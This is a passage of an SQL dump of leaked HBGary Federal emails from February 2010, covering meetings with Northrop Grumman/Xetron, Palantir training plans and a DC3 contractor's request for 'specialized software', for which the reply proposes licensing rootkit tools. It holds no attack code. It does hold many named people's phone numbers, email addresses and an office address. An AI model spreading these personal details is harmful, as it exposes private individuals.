>\r\n>> > This footnote also confirms that this email message has been swept by\r\n>> > MIMEsweeper for the presence of computer viruses.\r\n>> >\r\n>> > www.clearswift.com\r\n>> > **********************************************************************\r\n>> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>\r\n>\r\n>\r\n> --\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11952,'aaron_hbgary_com/11952.html'),(2590,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001208.M493206P3547Q2591.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Board of advisors','Greg/penny,\r\n\r\nWhat is the process for evaluating and accepting a new board member?\r\n\r\nI am thinking of art money.  He could be very helpful.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',12704,'aaron_hbgary_com/12704.html'),(2591,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001208.M721090P3547Q2592.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Meeting','Yep I will be there. &nbsp;I am going to fly out Wed. morning, be there wed afternoon fly home friday.Sound good?It went well. &nbsp;I am not sure if Jim really got it but he was supportive, John was certainly supportive but wants to see the business plan. &nbsp;It was a good meeting, everyone agreed IS can\'t perform, sooooo.... even Tom, although he was the most diplomatic about it.Sounds great. &nbsp;Being on the slopes is such a breath of fresh air! (literally).Have fun see you next week.AaronOn Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nWhat was your impression?  Asked bill if he recorded for posterity.  This is going to be fun!!!!Can you do thursday?  Endgame is coming friday.  Sending me a cd.Hope I don\'t drop my bb.  Doing this on the lift.  Skiing has bee great.\r\n\r\n\r\nFrom: Thompson, Bill (Xetron)\r\nTo: Masterson, Brian (Xetron)\r\nSent: Fri Feb 12 15:47:59 2010Subject: Meeting\r\n\r\n\r\nMeeting went fine.&nbsp; Conroy, Jadik, Barr, Armitage&nbsp; Conroy stated that he is for the corporation and that Xetron/HBGary is the right team.&nbsp; We can market to NGIS customers after the product is complete.Have fun,me\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11894,'aaron_hbgary_com/11894.html'),(2592,'2010-02-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001208.M75669P3547Q2589.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Writing specialized software','Ted and Aaron,\r\n \r\nHarold said, &quot;a support task or a tool you  can sell to them&quot;.  A scenario that is appealing to me would be us selling a license of one of the RK tools we have already developed.  A next best scenario would be to modify an existing tool to meet their requirements where they license existing tool and they pay us to make the mods.  In the past we&#39;ve done these as FFP transactions.  It&#39;s nice to turn existing code into cash.  I see the transaction going through HBG Fed where HBG Fed acts as a resller of HBGary&#39;s code.\r\n\r\n \r\nBTW, Harold works in Jim Jaeger&#39;s group.  He spends most of his time at DC3.  He has a copy of Responder Pro that DC3 bought.\r\n \r\nBob\r\nOn Fri, Feb 12, 2010 at 6:16 PM, Rodriguez Harold Contractor DC3/DCCI &lt;harold.rodriguez.ctr@dc3.mil&gt; wrote:\r\nGreat!We could set up a conference call next week.Hopefully by then he will respond to some of my questions and we will get a better understanding of his requirements.\r\nPlease understand that at the moment I am not 100% sure this is the type of task he can bring support from the outside, but he is the program manager and he is looking for help. So, it sounded to me like an opportunity.\r\n\r\nBest regards,Harold R.-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Friday, February 12, 2010 6:00 PMTo: Rodriguez Harold Contractor DC3/DCCI\r\n\r\n\r\nCc: Bob Slapnik; Greg Hoglund; Aaron BarrSubject: Re: Writing specialized softwareHi Harold,Aaron and are excited to hear more about this opportunity.  Can you share more via email, or would you like to set up a call to discuss?\r\nRegards,TedOn Fri, Feb 12, 2010 at 3:15 PM, Rodriguez Harold Contractor DC3/DCCI &lt;harold.rodriguez.ctr@dc3.mil&gt; wrote:&gt; Thank you Bob!\r\n&gt;&gt; It falls under the federal sector as an R&amp;D project.&gt;&gt; Best regards,&gt;&gt; Harold R.&gt;&gt; -----Original Message-----&gt; From: Bob Slapnik [mailto:bob@hbgary.com]\r\n&gt; Sent: Friday, February 12, 2010 5:13 PM&gt; To: Rodriguez Harold Contractor DC3/DCCI&gt; Cc: Greg Hoglund; matt@hbgary.com; phil@hbgary.com; Rich Cummings;\r\n&gt; Aaron Barr; Ted Vera&gt; Subject: Re: Writing specialized software&gt;&gt; Harold,&gt;&gt; If this is a specialized software development project, it might be a&gt; good fit for our sister company, HBGary Federal.  I&#39;ve copied Aaon\r\n&gt; Barr and Ted Vera.&gt;&gt; Bob&gt;&gt;&gt; On Fri, Feb 12, 2010 at 3:53 PM, Rodriguez Harold Contractor DC3/DCCI&gt; &lt;harold.rodriguez.ctr@dc3.mil&gt; wrote:\r\n&gt;&gt;&gt;        Greg, All,&gt;&gt;        I just had a call from one of our customers. They have a task&gt; to elaborate&gt;        techniques to write specialized software.&gt;&gt;        I will be doing some asking around to other organizations, but\r\n&gt; it sounds&gt;        like something you could help based on your rootkit.com&gt; &lt;http://rootkit.com/&gt;  web site and\r\n&gt;        exposure to some of these techniques.&gt;&gt;        If so, I am thinking it could be a support task or a tool you&gt; can sell to&gt;        them.&gt;&gt;        I will try to setup a conference call with them sometime next\r\n&gt; week.&gt;&gt;        Best regards,&gt;&gt;        Harold Rodriguez&gt;        Sr. Engineer, DCCI (Defense Cyber Crime Institute)&gt;        Defense Cyber Crime Center (DC3)&gt;&gt;        Contractor: General Dynamics - Advanced Information Systems\r\n&gt;        (410) 694-6409&gt;&gt; **********************************************************************&gt; **&gt; ****&gt;        ********************************&gt;        This email and any files transmitted with it are intended\r\n&gt; solely for the use&gt;        of the individual&gt;        or entity to whom they are addressed. If you have received this&gt; email and&gt;        you are not&gt;        the intended recipient please notify the originating party and\r\n&gt; delete the&gt;        email message.&gt;&gt; **********************************************************************&gt; **&gt; ****&gt;        ********************************&gt;&gt;\r\n&gt;&gt;&gt;&gt;&gt; **********************************************************************&gt; This email and any files transmitted with it are confidential and&gt; intended solely for the use of the individual or entity to whom they\r\n&gt; are addressed. If you have received this email in error please notify&gt; the system manager.&gt;&gt; This footnote also confirms that this email message has been swept by&gt; MIMEsweeper for the presence of computer viruses.\r\n&gt;&gt; www.clearswift.com&gt; **********************************************************************&gt;--Ted H. VeraPresident | COO\r\nHBGary Federal719-237-8623-- \r\n',8001,'aaron_hbgary_com/8001.html'),(2593,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001208.M937331P3547Q2593.eml','\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,','Re: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','Sorry Kevin...Palantir session is all day on the 16th at the Sacramento HBGary facility.3604 Fair Oaks Blvd Suite 250Sacramento, CA 95864Phone | 916.459.4727Do you need anything else?AaronOn Feb 12, 2010, at 4:03 PM, Gibbs, Kevin (Xetron) wrote:\r\n\r\nStill haven\'t seen any info on this.....\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)Sent: Thu 2/11/2010 4:18 PMTo: \'aaron@hbgary.com\'Cc: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nHey, Can you send kevin the info for tuesday?&nbsp; He is one of our senior guys. ----- Original Message ----- From: Aaron Barr &lt;aaron@hbgary.com&gt; To: Masterson, Brian (Xetron) Sent: Thu Feb 11 15:09:13 2010 Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mhtwhat is this file?&nbsp; I can\'t open it.&nbsp; Its some sort of web archive file? On Feb 11, 2010, at 12:21 PM, Masterson, Brian (Xetron) wrote: &gt; &lt;Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht&gt; Aaron Barr CEO HBGary Federal Inc. \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12126,'aaron_hbgary_com/12126.html'),(2594,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001209.M136909P3547Q2594.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','16th','Ok so the Palantir guy Geoff Stowe will be in Sacramento all day on the 16th.  Also one of Xetrons senior guys is going to come out to participate.  He is going to be one of the ones leading the Cyber Intelligence Initiative that NG is going to fund.  Let me know if you have any questions.\r\n\r\nAaron\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9639,'aaron_hbgary_com/9639.html'),(2595,'2010-02-13','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001209.M436508P3547Q2595.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat.&nbsp; Do you have something planned for Wed afternoon?\r\n\r\nDid anyone ask Armitage for money?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 12, 2010 9:52 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYep I will be there. &nbsp;I am going to fly out Wed.\r\nmorning, be there wed afternoon fly home friday.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSound good?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt went well. &nbsp;I am not sure if Jim really got it but\r\nhe was supportive, John was certainly supportive but wants to see the business\r\nplan. &nbsp;It was a good meeting, everyone agreed IS can\'t perform, sooooo....\r\neven Tom, although he was the most diplomatic about it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSounds great. &nbsp;Being on the slopes is such a breath of\r\nfresh air! (literally).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHave fun see you next week.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat was your impression? Asked bill if he recorded for posterity.\r\nThis is going to be fun!!!!\r\nCan you do thursday? Endgame is coming friday. Sending me a cd.\r\nHope I don\'t drop my bb. Doing this on the lift. Skiing has bee great.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Thompson, Bill (Xetron) \r\nTo: Masterson, Brian (Xetron) \r\nSent: Fri Feb 12 15:47:59 2010\r\nSubject: Meeting \r\n\r\n\r\n\r\nMeeting went fine.&nbsp;\r\nConroy, Jadik, Barr, Armitage&nbsp; Conroy stated that he is for the\r\ncorporation and that Xetron/HBGary is the right team.&nbsp; We can market to\r\nNGIS customers after the\r\nproduct is complete.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHave fun,\r\n\r\nme\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6072,'aaron_hbgary_com/6072.html'),(2596,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001209.M811435P3547Q2596.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Meeting','I don\'t have anything planned right now.No on money. &nbsp;I was going to, but I told Bill about that earlier and he didn\'t want to bring that up(shrug). &nbsp;Jim brought up money though as a passing comment about getting adequate money to do it and showing the business case. &nbsp;Anyway he sounded amenable to helping to fund, but I leave that to you guys.Speaking of funding. &nbsp;Do you know what the sticking point is funding some HBGary development?AaronOn Feb 12, 2010, at 10:09 PM, Masterson, Brian (Xetron) wrote:Great.&nbsp; Do you have something planned for Wed afternoon?Did anyone ask Armitage for money?&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 12, 2010 9:52 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Meeting&nbsp;Yep I will be there. &nbsp;I am going to fly out Wed. morning, be there wed afternoon fly home friday.&nbsp;Sound good?&nbsp;It went well. &nbsp;I am not sure if Jim really got it but he was supportive, John was certainly supportive but wants to see the business plan. &nbsp;It was a good meeting, everyone agreed IS can\'t perform, sooooo.... even Tom, although he was the most diplomatic about it.&nbsp;Sounds great. &nbsp;Being on the slopes is such a breath of fresh air! (literally).&nbsp;Have fun see you next week.&nbsp;Aaron&nbsp;On Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron) wrote:What was your impression? Asked bill if he recorded for posterity. This is going to be fun!!!!Can you do thursday? Endgame is coming friday. Sending me a cd.Hope I don\'t drop my bb. Doing this on the lift. Skiing has bee great.&nbsp;From: Thompson, Bill (Xetron)&nbsp;To: Masterson, Brian (Xetron)&nbsp;Sent: Fri Feb 12 15:47:59 2010Subject: MeetingMeeting went fine.&nbsp; Conroy, Jadik, Barr, Armitage&nbsp; Conroy stated that he is for the corporation and that Xetron/HBGary is the right team.&nbsp; We can market to NGIS customers after&nbsp;the&nbsp;product is complete.&nbsp;Have fun,me&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10318,'aaron_hbgary_com/10318.html'),(2597,'2010-02-13','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001210.M770883P3547Q2597.eml','aaron@hbgary.com','Re: Meeting','\r\nWe just evaced.  Mattress fire.  Not mine.  Didnkt know those things could burn anymore.  No any place to saty in heber utah???\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Fri Feb 12 21:12:46 2010Subject: Re: Meeting\r\nI don\'t have anything planned right now.No on money. &nbsp;I was going to, but I told Bill about that earlier and he didn\'t want to bring that up(shrug). &nbsp;Jim brought up money though as a passing comment about getting adequate money to do it and showing the business case. &nbsp;Anyway he sounded amenable to helping to fund, but I leave that to you guys.Speaking of funding. &nbsp;Do you know what the sticking point is funding some HBGary development?AaronOn Feb 12, 2010, at 10:09 PM, Masterson, Brian (Xetron) wrote:Great.&nbsp; Do you have something planned for Wed afternoon?Did anyone ask Armitage for money?&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 12, 2010 9:52 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Meeting&nbsp;Yep I will be there. &nbsp;I am going to fly out Wed. morning, be there wed afternoon fly home friday.&nbsp;Sound good?&nbsp;It went well. &nbsp;I am not sure if Jim really got it but he was supportive, John was certainly supportive but wants to see the business plan. &nbsp;It was a good meeting, everyone agreed IS can\'t perform, sooooo.... even Tom, although he was the most diplomatic about it.&nbsp;Sounds great. &nbsp;Being on the slopes is such a breath of fresh air! (literally).&nbsp;Have fun see you next week.&nbsp;Aaron&nbsp;On Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron) wrote:What was your impression? Asked bill if he recorded for posterity. This is going to be fun!!!!Can you do thursday? Endgame is coming friday. Sending me a cd.Hope I don\'t drop my bb. Doing this on the lift. Skiing has bee great.&nbsp;From: Thompson, Bill (Xetron)&nbsp;To: Masterson, Brian (Xetron)&nbsp;Sent: Fri Feb 12 15:47:59 2010Subject: MeetingMeeting went fine.&nbsp; Conroy, Jadik, Barr, Armitage&nbsp; Conroy stated that he is for the corporation and that Xetron/HBGary is the right team.&nbsp; We can market to NGIS customers after&nbsp;the&nbsp;product is complete.&nbsp;Have fun,me&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3340,'aaron_hbgary_com/3340.html'),(2598,'2010-02-13','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001211.M408710P3547Q2599.eml','aaron@hbgary.com','Re: Meeting','\r\nDunno but it\'s cold out here.  And if you are anywhere with my daughter and there is a fire, don\'t put her in charge.  She\'ll have everyone jumping out a window.  :)\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Fri Feb 12 21:35:50 2010Subject: Re: Meeting\r\noh bummer. &nbsp;no sorry not a place. &nbsp;Mattress fire? &nbsp;yeah how the heck does that happen nowadays?On Feb 12, 2010, at 10:34 PM, Masterson, Brian (Xetron) wrote:\r\nWe just evaced.  Mattress fire.  Not mine.  Didnkt know those things could burn anymore.  No any place to saty in heber utah???\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Fri Feb 12 21:12:46 2010Subject: Re: Meeting\r\n\r\nI don\'t have anything planned right now.No on money. &nbsp;I was going to, but I told Bill about that earlier and he didn\'t want to bring that up(shrug). &nbsp;Jim brought up money though as a passing comment about getting adequate money to do it and showing the business case. &nbsp;Anyway he sounded amenable to helping to fund, but I leave that to you guys.Speaking of funding. &nbsp;Do you know what the sticking point is funding some HBGary development?AaronOn Feb 12, 2010, at 10:09 PM, Masterson, Brian (Xetron) wrote:Great.&nbsp; Do you have something planned for Wed afternoon?Did anyone ask Armitage for money?&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 12, 2010 9:52 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Meeting&nbsp;Yep I will be there. &nbsp;I am going to fly out Wed. morning, be there wed afternoon fly home friday.&nbsp;Sound good?&nbsp;It went well. &nbsp;I am not sure if Jim really got it but he was supportive, John was certainly supportive but wants to see the business plan. &nbsp;It was a good meeting, everyone agreed IS can\'t perform, sooooo.... even Tom, although he was the most diplomatic about it.&nbsp;Sounds great. &nbsp;Being on the slopes is such a breath of fresh air! (literally).&nbsp;Have fun see you next week.&nbsp;Aaron&nbsp;On Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron) wrote:What was your impression? Asked bill if he recorded for posterity. This is going to be fun!!!!Can you do thursday? Endgame is coming friday. Sending me a cd.Hope I don\'t drop my bb. Doing this on the lift. Skiing has bee great.&nbsp;From: Thompson, Bill (Xetron)&nbsp;To: Masterson, Brian (Xetron)&nbsp;Sent: Fri Feb 12 15:47:59 2010Subject: MeetingMeeting went fine.&nbsp; Conroy, Jadik, Barr, Armitage&nbsp; Conroy stated that he is for the corporation and that Xetron/HBGary is the right team.&nbsp; We can market to NGIS customers after&nbsp;the&nbsp;product is complete.&nbsp;Have fun,me&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3029,'aaron_hbgary_com/3029.html'),(2599,'2010-02-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001211.M42810P3547Q2598.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Meeting','oh bummer. &nbsp;no sorry not a place. &nbsp;Mattress fire? &nbsp;yeah how the heck does that happen nowadays?On Feb 12, 2010, at 10:34 PM, Masterson, Brian (Xetron) wrote:\r\nWe just evaced.  Mattress fire.  Not mine.  Didnkt know those things could burn anymore.  No any place to saty in heber utah???\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Fri Feb 12 21:12:46 2010Subject: Re: Meeting\r\n\r\nI don\'t have anything planned right now.No on money. &nbsp;I was going to, but I told Bill about that earlier and he didn\'t want to bring that up(shrug). &nbsp;Jim brought up money though as a passing comment about getting adequate money to do it and showing the business case. &nbsp;Anyway he sounded amenable to helping to fund, but I leave that to you guys.Speaking of funding. &nbsp;Do you know what the sticking point is funding some HBGary development?AaronOn Feb 12, 2010, at 10:09 PM, Masterson, Brian (Xetron) wrote:Great.&nbsp; Do you have something planned for Wed afternoon?Did anyone ask Armitage for money?&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 12, 2010 9:52 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Meeting&nbsp;Yep I will be there. &nbsp;I am going to fly out Wed. morning, be there wed afternoon fly home friday.&nbsp;Sound good?&nbsp;It went well. &nbsp;I am not sure if Jim really got it but he was supportive, John was certainly supportive but wants to see the business plan. &nbsp;It was a good meeting, everyone agreed IS can\'t perform, sooooo.... even Tom, although he was the most diplomatic about it.&nbsp;Sounds great. &nbsp;Being on the slopes is such a breath of fresh air! (literally).&nbsp;Have fun see you next week.&nbsp;Aaron&nbsp;On Feb 12, 2010, at 5:02 PM, Masterson, Brian (Xetron) wrote:What was your impression? Asked bill if he recorded for posterity. This is going to be fun!!!!Can you do thursday? Endgame is coming friday. Sending me a cd.Hope I don\'t drop my bb. Doing this on the lift. Skiing has bee great.&nbsp;From: Thompson, Bill (Xetron)&nbsp;To: Masterson, Brian (Xetron)&nbsp;Sent: Fri Feb 12 15:47:59 2010Subject: MeetingMeeting went fine.&nbsp; Conroy, Jadik, Barr, Armitage&nbsp; Conroy stated that he is for the corporation and that Xetron/HBGary is the right team.&nbsp; We can market to NGIS customers after&nbsp;the&nbsp;product is complete.&nbsp;Have fun,me&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',522,'aaron_hbgary_com/522.html'),(2600,'2010-02-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001211.M673588P3547Q2600.eml','all@hbgary.com,all@hbgary.com','Greg\'s schedule over next week',' \r\nTeam,\r\nI know I am falling way behind the email threads.  I am completely swamped and can&#39;t take on anything new for at least another 5 days.  We have alot of efforts running in parallel and I have to devote a significant amount of time to a couple of ongoing efforts, both in marketing and in engineering.  Once I get free from this I can retask.  I have a talk on Friday at ISSA (slides are not finished), a Palantir training tenetive for Tuesday (planning for Scott and Shawn to be present as well), and my RSA slides due on Monday (slides are not finished and I&#39;m going to slip into overdue status).  Beyond that, I have some more press to do following our Aurora report, and I have to pay close attention to developments in Engineering over next week as Penny is putting the screws down harder and harder.  So, as I say, there ain&#39;t no rest for the wicked and money don&#39;t grow on trees.\r\n\r\n \r\nThanks for understanding,\r\n-Greg\r\n',15342,'aaron_hbgary_com/15342.html'),(2601,'2010-02-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001211.M931029P3547Q2601.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: 16th','Please let me know if this is confirmed, and whether we will need to prepare our training room at the HBGary facility.\r\n \r\n-Greg\r\nOn Fri, Feb 12, 2010 at 6:56 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOk so the Palantir guy Geoff Stowe will be in Sacramento all day on the 16th.  Also one of Xetrons senior guys is going to come out to participate.  He is going to be one of the ones leading the Cyber Intelligence Initiative that NG is going to fund.  Let me know if you have any questions.\r\nAaronAaron BarrCEOHBGary Federal Inc.\r\n',9312,'aaron_hbgary_com/9312.html'),(2602,'2010-02-13','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001212.M644650P3547Q2602.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBack in the hotel.&nbsp; \r\n\r\nAaron, it is just that some people do not support sending money\r\nlike IRAD out.&nbsp; Martin has firm set opinions.&nbsp; I think he wants to\r\nsee you make some financial investment in the development.&nbsp; I understand\r\nyour response.&nbsp; And, I understand both positions.&nbsp; I have an out\r\nright now if I do not get enough engineers onto my IRAD charges.&nbsp; If I don&#8217;t,\r\nthen I have already told Bill that I am sending money to you as a sub to\r\nperform my IRAD.&nbsp;&nbsp; Just give it a little more to see how it breaks.\r\n\r\nWhy did Bill not bring it up?&nbsp; I think saying that Xetron is\r\ncontributing as much as they can but more would help move the process more\r\nquickly would be appropriate.&nbsp;&nbsp; Bill allegedly was spending today working\r\non the business case.&nbsp; He should have been able to address the business\r\ncase right on the spot.\r\n\r\nGlad you&#8217;re going to be there.&nbsp; I am supposed to be\r\nin San Antonio Wednesday but now need to be back for Thursday so if I cannot\r\nget to Atlanta Wednesday night, I will not be going.&nbsp; Can&#8217;t wait to\r\nsee this evolve.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 12, 2010 10:13 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI don\'t have anything planned right now.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo on money. &nbsp;I was going to, but I told Bill about\r\nthat earlier and he didn\'t want to bring that up(shrug). &nbsp;Jim brought up\r\nmoney though as a passing comment about getting adequate money to do it and\r\nshowing the business case. &nbsp;Anyway he sounded amenable to helping to fund,\r\nbut I leave that to you guys.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSpeaking of funding. &nbsp;Do you know what the sticking\r\npoint is funding some HBGary development?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 10:09 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat.&nbsp; Do you have something planned for Wed afternoon?\r\n\r\n\r\n\r\n\r\n\r\nDid anyone ask Armitage for money?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 